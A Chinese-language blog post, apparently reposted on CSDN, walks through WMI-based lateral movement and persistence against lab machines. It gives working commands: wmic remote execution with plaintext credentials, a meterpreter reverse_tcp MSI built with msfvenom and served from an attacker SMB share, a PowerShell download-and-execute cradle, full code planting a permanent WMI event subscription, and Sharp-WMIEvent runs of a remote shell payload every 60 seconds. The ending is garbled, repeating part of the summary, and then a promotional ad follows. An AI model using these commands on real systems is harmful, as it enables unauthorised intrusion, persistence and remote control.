WMI 订阅利用之分析总结

0x00前言

本文对 WMI 的一些利用手法进行了总结,其中主要对 WMI 事件订阅的利用做了详细的剖析,希望可以对大家的学习提供一些帮助。

0x01概述

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术。用户可以通过
WMI 管理本地和远程计算机。Windows 为远程传输 WMI 数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component
Object Model,DCOM)和 Windows 远程管理(Windows Remote Management,WinRM),使得 WMI
对象的查询、事件注册、WMI 类方法的执行和类的创建等操作都能够远程进行。

在横向移动时,hacker 可以利用 WMI 提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。

目前有两种常见的利用方法:

  1. 通过调用 WMI 的类方法进行远程执行。如 Win32_Process 类中的 Create 方法可以在远程主机上创建进程,Win32_Product 类中的 Install 方法可以在远程主机上安装恶意的 MSI。
  2. 远程部署 WMI 事件订阅,在特定的事件发生时触发攻击。

利用 WMI 进行横向移动需要具备以下条件:

① 远程主机的 WMI 服务为开启状态(默认开启)。

② 远程主机防火墙放行 135 端口,这是 WMI 管理的默认端口。

0x02常规利用方法

在 Windows 上可以通过 wmic.exe 和 PowerShell Cmdlet 来使用 WMI 数据和执行 WMI 方法。

Wmic.exe 是一个与 WMI 进行交互的强大的命令行工具,拥有大量的 WMI 对象的默认别名,可以执行许多复杂的查询。

Windows Powershell 也提供了许多可以与 WMI 进行交互的 Cmdlet,如 Invoke-WmiMethod、Set-
WmiInstance 等。

1. 执行远程查询

通过 WMIC 查询远程主机上运行的进程信息,执行以下命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process list brief
# /node,指定远程主机的地址 

1673773809_63c3c2f10e628651604c4.png!small?1673773809721

2. 创建远程进程

执行以下命令,通过调用 Win32_Process.Create 方法在远程主机上创建进程,启动 CMD 来执行系统命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process call create "cmd.exe /c ipconfig > c:\result.txt"

1673773903_63c3c34f45f97643f92f4.png!small?1673773904135

由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过建立共享连接等方式使用 type 命令远程读取。

1673773915_63c3c35bab8f60495c6ae.png!small?1673773916495

3. 远程安装 MSI 文件

通过调用 Win32_Product.Install 方法,可以控制远程主机安装恶意的 MSI(Microsoft
Installer)文件,从而获取其权限。

① 使用 msf 生成一个恶意的 MSI 文件:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=4444 -f msi -o reverse_tcp.msi

② 在可控的服务器上搭建 SMB 共享服务器,并将生成的 MSI 文件放入共享目录。

python smbserver.py evilsmb /root/share -smb2support

1673773978_63c3c39af12959386e318.png!small?1673773979677

③ 在跳板机上执行以下命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# product call install PackageLocation="\\192.168.220.132\evilsmb\reverse_tcp.msi" 

1673774011_63c3c3bb3e3c05862792e.png!small?1673774011805

控制远程主机(192.168.220.130),通过 UNC 路径进行远程加载 smb 服务器的 MSI 文件并进行安装,成功获取远程主机的权限。

1673774023_63c3c3c7a478b2453b015.png!small?1673774024475

0x03常见利用工具

1. Wmiexec

Impacket 项目的 wmiexec.py 能够以全交互或半交互的方式,通过 WMI 在远程主机上执行命令。

注意:该工具需要远程主机开启 135 和 445 端口,其中 445 端口用于传输命令执行的回显。

执行以下命令,获取远程主机的交互式命令行:

python wmiexec.py Administrator:123456Lhz!\@#@192.168.220.130
# python wmiexec.py <Domain>/<Username>:<Password>@<IP>

1673774116_63c3c424ad9035b92243f.png!small?1673774117506

如果是在 Windows 平台上使用,可以通过 PyInstaller,将 wmiexec.py 打包成独立的 EXE 可执行文件:

# 安装 PyInstaller 模块
pip3 install pyinstaller
# 进入 wmiexec.py 所在目录并执行打包操作,将在 dist 目录中生成 wmiexec.exe
cd impacket\examples
pyinstaller -F wmiexec.py  //如果kali报错,可以使用Windows进行打包

打包完成后,生成的 wmiexec.exe 可以直接上传到 Windows 主机中运行,使用方法与 wmiexec.py 相同。

1673774179_63c3c46396e0383f65207.png!small?1673774180213

2.Invoke-WmiCommand

Invoke-WmiCommand.ps1 可以通过 PowerShell 调用 WMI 来远程执行命令:

# 本地/远程加载 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential中
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机的 IP 和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.220.130"
# 输出命令执行回显
$Remote.PayloadOutput

1673774571_63c3c5eb4ba3ee6c1e9a7.png!small?1673774572052

3. Invoke-WMIMethod

利用 PowerShell 自带的 Invoke-WMIMethod,不需要额外进行下载。可以在远程系统主机上执行命令和指定程序。但不会回显执行结果

#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.220.130" -Credential $Cred

1673774606_63c3c60e2c2b488f37541.png!small?1673774606826

命令完成后会在目标系统中运行calc.exe程序,但是不会弹出计算器

1673774626_63c3c622e3c959fe4b9eb.png!small?1673774627531

0x04WMI 事件订阅的利用

WMI 提供了强大的事件处理系统,几乎可以用于对操作系统上发生的任何事件做出响应。

例如,当创建某进程时,通过 WMI 事件订阅来执行预先设置的脚本。其中,涉及到了两个新的概念:

  1. 事件过滤器(Event Filter):触发事件的具体条件,如用户登录,新进程创建等
  2. 事件消费者(Event Consumer):对指定事件发生做出的响应,如运行脚本,记录日志,发送邮件等

在部署事件订阅时,需要分别构建 Filter 和 Consumer 两部分,并将二者绑定在一起。

所有的事件过滤器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例,可以通过创建 __EventFilter
对象实例来部署事件过滤器。

事件消费者是基于 ROOT\subscription:__EventConsumer 系统类派生来的类。系统提供了常用的标准事件消费类,如下表:

事件消费类

|

说明

—|—

LogFileEventConsumer

|

将事件数据写入指定的日志文件

ActiveScriptEventConsumer

|

执行嵌入的 VBScirpt 和 JavaScript 脚本

NTEventLogEventConsumer

|

创建一个包含事件数据的事件日志条目

SMTPEventConsumer

|

发送一封包含事件数据的电子邮件

CommandLineEventConsumer

|

执行指定的系统命令

hacker 可以使用 WMI 的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用 WMI 事件消费类的
ActiveScriptEventConsumer 和 CommandLineEventConsumer,可以在远程主机上执行任何攻击载荷。

该技术主要用来在目标系统上完成权限持久化,也可用于横向移动,但需要提供远程主机的管理员权限的用户凭据。

1. 手动利用

接下来通过手动执行 Powershell 命令来进行利用:

① 整合 PSCredential,用于后续过程的认证

$Username = "Administrator"
$Password = "123456Lhz!@#"
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecurePassword

② 设置攻击目标和其他公开参数

$GlobalArgs = @{}
$ComputerName = "192.168.220.130"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName

③ 在远程主机(192.168.220.130)上部署 “TestFilter” 事件过滤器,用于查询 svchost.exe 进程的产生。由于 WMI
所有的事件过滤器都被存储为 ROOT\subscription:__EventFilter 对象的实例,因此通过 Set-WmiInstance
Cmdlet 创建一个 __EventFilter 类的实例即可。

$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = "TestFilter"
    Query = "SELECT * FROM Win32_ProcessStartTrace where processname = 'svchost.exe'"
    QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs

④ 在远程主机上部署一个名为 “TestConsumer” 的事件消费者,创建事件消费类 CommandLineEventConsumer
的实例,在指定事件发生时执行系统命令。

$CommandLineEventConsumerArgs = @{
    Name = "TestConsumer"
    CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
} 
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs

⑤ 将创建的事件过滤器和事件消费者绑定在一起

$FilterConsumerBindingArgs = @{
    Filter = $EventFilter
    Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs

注:建议将上述代码整理为 ps1 脚本进行执行。

到此,已经成功在远程主机(192.168.220.130)上部署了一个事件订阅,当目标系统重启系统,管理员正常登录,远程系统轮询到 svchost.exe
进程产生时,将通过事件消费者执行系统命令来启动 calc.exe 进程。

1673774853_63c3c705a651e00b91504.png!small?1673774854459

执行完脚本,可以通过一些命令去查看创建的实例,已确定脚本执行成功:

# 查看创建的事件过滤器的实例
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

1673774923_63c3c74b18a86f0bb555d.png!small?1673774923895

# 查看创建的事件消费者的实例
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

1673774947_63c3c7639f07f996c89c5.png!small

# 查看事件绑定,可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

1673774970_63c3c77a2e0654a678f02.png!small?1673774970864

2. Sharp-WMIEvent

该脚本通过WMI事件订阅实现内网横向移动和权限持久化。

Usage:

Sharp-WMIEvent [[-ComputerName] <String>] [[-Domain] <String>] [[-Username] <String>] [[-Password] <String>] [[-Fil
terName] <String>] [[-ConsumerName] <String>] [[-Trigger] <String>] [[-ProcessName] <String>] [[-ScriptPath] <Strin
g>] [[-Command] <String>] [[-IntervalPeriod] <Int32>] [[-ExecutionTime] <DateTime>] [<CommonParameters>]

Example:

# 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时运行脚本
Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -ScriptPath "C:\Sharp-WMIEvent\payload.js" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时执行该命令
Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并在系统启动后 5 分钟内执行命令
Sharp-WMIEvent -Trigger Startup -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建一个永久的 WMI 事件订阅并在用户登录时执行该命令
Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并每 60 秒执行一次命令
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并在 08:00:00 执行命令
Sharp-WMIEvent -Trigger Timed -ExecutionTime '08:00:00' -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

复现过程:

① 在一台 hacker 可控的服务器上搭建 SMB 共享服务器,并将生成的攻击载荷放入共享目录

1673775037_63c3c7bdd0710335a80ed.png!small?1673775038663

② 在跳板机执行命令,利用 Sharp-WMIEvent 在远程主机上部署一个随机命名的永久事件订阅,并每隔 60 秒执行一次 SMB
共享中的攻击载荷,使远程主机上线。

Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.220.130 -Username Administrator -Password 123456Lhz!@# -Command "cmd.exe /c \\192.168.220.132\evilsmb\shell.exe"

1673775063_63c3c7d76ed3a031f94a2.png!small?1673775064087

1673775069_63c3c7dd0b8d0f9611372.png!small?1673775069747

0x05总结

本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:

<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>

[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)

2.168.220.132\evilsmb\shell.exe"

[外链图片转存中…(img-ZKqnZCiv-1690941364218)]

[外链图片转存中…(img-jjnqIt7G-1690941364219)]

0x05总结

本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:

<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>

[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值